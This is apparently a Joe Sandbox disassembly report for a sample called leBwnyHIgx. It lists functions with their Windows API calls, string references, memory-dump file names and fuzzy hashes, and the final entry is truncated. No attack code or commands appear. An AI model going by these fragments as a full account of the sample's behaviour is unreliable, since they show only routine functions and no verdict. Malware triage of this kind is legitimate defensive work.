API ID: File$AttributesErrorLast$DeleteDirectoryMoveRemove
String ID: DeleteFile$MoveFile
API String ID: 3947864702-139070271
Opcode ID: d6002e4c8ce380e4da7901459b48cf98f3a1534f7a2910375105cd19add7ce7d
Instruction ID: b8499831526bb04dbf5f9ac4b51478e099ff73939971a2d4390da8e0a4ff792a
Opcode Fuzzy Hash: d6002e4c8ce380e4da7901459b48cf98f3a1534f7a2910375105cd19add7ce7d
Instruction Fuzzy Hash: CAF0497565850A9AEB00FB65D946BBE7BD4FB94304F60443BF504E32C6D93C9C01C629

Function 00464920 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00464A70,?,?,0043F138,00000001), ref: 004649AE

Part of subcall function 00420CF0: CreateFileW.KERNEL32(00000000,000000F0,000000F0,00000000,00000003,00000080,00000000,?,?,0043F138,004649F0,00000000,00464A70,?,?,0043F138), ref: 00420D3F

Part of subcall function 00421144: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,?,?,0043F138,00464A0B,00000000,00464A70,?,?,0043F138,00000001), ref: 00421167

GetLastError.KERNEL32(00000000,00464A70,?,?,0043F138,00000001), ref: 00464A15

Part of subcall function 004251D8: FormatMessageW.KERNEL32(00003300,00000000,00000000,00000000,00000001,00000000,00000000,?,0043F138,00000000,?,00464A24,00000000,00464A70), ref: 004251FC
Part of subcall function 004251D8: LocalFree.KERNEL32(00000001,00425255,00003300,00000000,00000000,00000000,00000001,00000000,00000000,?,0043F138,00000000,?,00464A24,00000000,00464A70), ref: 00425248

Strings

d{C, xrefs: 004649D5
4Dd, xrefs: 004649C7

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLast$CreateFileFormatFreeFullLocalMessageNamePath
String ID: 4Dd$d{C
API String ID: 503893064-2058038346
Opcode ID: d401f3925e0a0a59aee2edcb24fb99114593ebe0fc7d03629d6b26652d1d1355
Instruction ID: 0683953512549e244d6d4d668f9f4a6bb5012169835e8b5d33232cac3ad6031b
Opcode Fuzzy Hash: d401f3925e0a0a59aee2edcb24fb99114593ebe0fc7d03629d6b26652d1d1355
Instruction Fuzzy Hash: 3F41F670E002099FCB10EFB5C8815EEB7F1AF49314F90817AE904A7382DB785E01CB6A

Function 0040C040 Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040C051
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040C0AF
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040C10C
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040C13F

Part of subcall function 0040BFFC: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040C0BD), ref: 0040C013
Part of subcall function 0040BFFC: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040C0BD), ref: 0040C030

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: e9b38d102af23e3ac96532df7ba2e3b2cca42ae78a03c66e701db43377d19ec2
Instruction ID: e50dbe343586da412169edcbcf2f18ed2f71acdc650f4f92d90da3ef9dabf820
Opcode Fuzzy Hash: e9b38d102af23e3ac96532df7ba2e3b2cca42ae78a03c66e701db43377d19ec2
Instruction Fuzzy Hash: 11311C70A0021EDBDB10DFE9C885AAEB3B5EF04315F00427AE551E7291DB789A44CB99

Function 004733A4 Relevance: 6.1, APIs: 4, Instructions: 59registryCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32 ref: 004733C5
UnregisterClassW.USER32(00473388,00400000), ref: 004733EE
RegisterClassW.USER32 ref: 004733F8
SetWindowLongW.USER32(00000000,000000FC,00000000), ref: 00473443

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 77c002dd57727ae1c120746f698cf05d15210d6afcb35098894f7f7bfabb7748
Instruction ID: a8c172639951b3e6cb5da7468db87f3e5ba31e7f9e45713803e63bcfa106701e
Opcode Fuzzy Hash: 77c002dd57727ae1c120746f698cf05d15210d6afcb35098894f7f7bfabb7748
Instruction Fuzzy Hash: 100188717001046BCB10FF68ED81FDB739AE718306F109226F908E73A1DABADD558759

Function 005A3D7C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 005A3D8F
GetWindowLongW.USER32(?,000000EC), ref: 005A3DD1
SetWindowLongW.USER32(?,000000EC,00000000), ref: 005A3DEB
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,C31852FF,?,00000000,?,005A3EA5,?,?,?,00000000), ref: 005A3E13

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$Long$Visible
String ID:
API String ID: 2967648141-0
Opcode ID: 3701598597631481a4bebe85878359a59fd4de1d73864697aee8f0662b462547
Instruction ID: a7e9761be64e8251a726e41e5ea799dd36543e273c62785c0243dde29f2c5ab3
Opcode Fuzzy Hash: 3701598597631481a4bebe85878359a59fd4de1d73864697aee8f0662b462547
Instruction Fuzzy Hash: 50115670205144AFDB10EB29D889FA97FD9BB45356F448595F844CF361C774EE80C790

Function 0046523C Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000,00000000,?,0066978C,?,?,00644460), ref: 00465253
LoadResource.KERNEL32(00400000,004652D8,00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000,00000000,?,0066978C,?), ref: 0046526D
SizeofResource.KERNEL32(00400000,004652D8,00400000,004652D8,00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000,00000000), ref: 00465287
LockResource.KERNEL32(00464B24,00000000,00400000,004652D8,00400000,004652D8,00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000), ref: 00465291

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 0f0122636f5e1f829796b1b782f7f01f5b08c6add20a43d762356a9fcebc62f1
Instruction ID: cc44b1e40f387fa113896bb731206f382d166b60eb9947859bc6d233c5ebbc2f
Opcode Fuzzy Hash: 0f0122636f5e1f829796b1b782f7f01f5b08c6add20a43d762356a9fcebc62f1
Instruction Fuzzy Hash: 32F0D1B36046046F5744EE9DA881D9B77ECEE89368310015FF908C7206EA38DE118779

Function 004F9144 Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 004F9151
GetCurrentProcessId.KERNEL32(?,00000000,00000000,005A4B86,?,?,00000000,00000001,005A2E83,?,00000000,00000000,00000000,00000000), ref: 004F915A
GlobalFindAtomW.KERNEL32(00000000,?,00000000,00000000,005A4B86,?,?,00000000,00000001,005A2E83,?,00000000,00000000,00000000,00000000), ref: 004F916F
GetPropW.USER32(00000000,00000000), ref: 004F9186

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: 25ecc4edb2365f2cde5ab71ba1d4f521c8a402254a91719a356be1fc28b1867b
Instruction ID: 6cdfd07cd157af09d6636e7e024685bcdc2838eed951bc29520a0badc25c7c68
Opcode Fuzzy Hash: 25ecc4edb2365f2cde5ab71ba1d4f521c8a402254a91719a356be1fc28b1867b
Instruction Fuzzy Hash: 32F0306260021666B72477B6AE85AFB328C8A057A5740297FFA01D7216D57CCC8283BD

Function 00644688 Relevance: 6.0, APIs: 4, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 006446A8
GetLastError.KERNEL32 ref: 006446B2
GetTickCount.KERNEL32 ref: 006446BC
Sleep.KERNEL32(00000032), ref: 006446CC

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 0d34409079f3285415336e5086e324ebfbbd45d85097019a7f8f2458989eb29f
Instruction ID: 8c410b6b5025aaf122e9bdc0c1ce3c8724fef5309a0de07dabf959826b4bab6c
Opcode Fuzzy Hash: 0d34409079f3285415336e5086e324ebfbbd45d85097019a7f8f2458989eb29f
Instruction Fuzzy Hash: 40E0E57230C2410EA32032AE18866BE594BDA97394F35097BF180C1216CD088C968136

Function 0063DA44 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008), ref: 0063DA4D
OpenProcessToken.ADVAPI32(00000000,00000008), ref: 0063DA53
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008), ref: 0063DA75
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008), ref: 0063DA86

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 52eacd67af02c92b88f6b7150cd3555fd3abc884029a5d5279a962a9430070f6
Instruction ID: a157fd3303c1430b13f319c7757610127fd6bd2de266f3ae7d41e5c3beec6acc
Opcode Fuzzy Hash: 52eacd67af02c92b88f6b7150cd3555fd3abc884029a5d5279a962a9430070f6
Instruction Fuzzy Hash: 59F030706483006BD700EBA5DD82EDB76DCAF44394F00492EBF94C7291E678D95897A2

Function 004E43D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 004E43D9
SelectObject.GDI32(00000000,058A00B4), ref: 004E43EB
GetTextMetricsW.GDI32(00000000), ref: 004E43F6
ReleaseDC.USER32(00000000,00000000), ref: 004E4407

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MetricsObjectReleaseSelectText
String ID:
API String ID: 2013942131-0
Opcode ID: a6aecb0737437b3e4e44ddca18d58a6d0b7d8c9274c0db10c9c3bc7fb89915e8
Instruction ID: d4d349d3644daeae5b714f5edb0297babd8c78eacc5647d64bd84649639e733b
Opcode Fuzzy Hash: a6aecb0737437b3e4e44ddca18d58a6d0b7d8c9274c0db10c9c3bc7fb89915e8
Instruction Fuzzy Hash: 33E04F617026A126D61161A75D82BEB274C4F423AAF08012AFD54D92E3DA4DCD62C2FA

Function 00645F94 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 148windowCOMMON

Download Yara Rule

APIs

SendNotifyMessageW.USER32 ref: 006461BC

Strings

MS PGothic, xrefs: 00646010, 00646023
HW[, xrefs: 00645FDB, 00645FED

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessageNotifySend
String ID: HW[$MS PGothic
API String ID: 3556456075-2635353643
Opcode ID: 59f04f6aee3bffc9c1295158f9acede3f64b47b25c96f5cb70cb93cdb20aa1c8
Instruction ID: bceb75bb431b8eb4c574679ca4a5eb6d1cf06a39740a1e3265182ded441c346e
Opcode Fuzzy Hash: 59f04f6aee3bffc9c1295158f9acede3f64b47b25c96f5cb70cb93cdb20aa1c8
Instruction Fuzzy Hash: EC5140703102018BCB10EF69D985E967BA3FB55304B14517AF845AF3A7CA78EC46CF9A

Function 005F8B78 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,?,00000000,005F8C6D,?,0066978C,?,00000003,00000000,00000000,?,006444C3,00000000,006445EE), ref: 005F8BC0
GetLastError.KERNEL32(00000000,00000000,?,00000000,005F8C6D,?,0066978C,?,00000003,00000000,00000000,?,006444C3,00000000,006445EE), ref: 005F8BC9

Strings

.tmp, xrefs: 005F8BA9

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 0dd2e78ac53445f243b90664175e46d6b94ca7fdf7539982ce6cd959b1b8a79f
Instruction ID: c4b9951d0c9cc56d7ffc3af5a52d4afc2fe12c17b36d5983631b7f23f90a8f37
Opcode Fuzzy Hash: 0dd2e78ac53445f243b90664175e46d6b94ca7fdf7539982ce6cd959b1b8a79f
Instruction Fuzzy Hash: 32214675A0010D9FDB00EBA4C956AFEB7F9FB88304F50457AF900B7381DA386E058AA4

Function 0064EC32 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 0064EC72

Strings

@, xrefs: 0064EC38
/INITPROCWND=$%x , xrefs: 0064ECA2

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: 10bae26bf5f2a0ea0e044a5652ad93d77c5c1b14996636414ded1eee9e9c8fb2
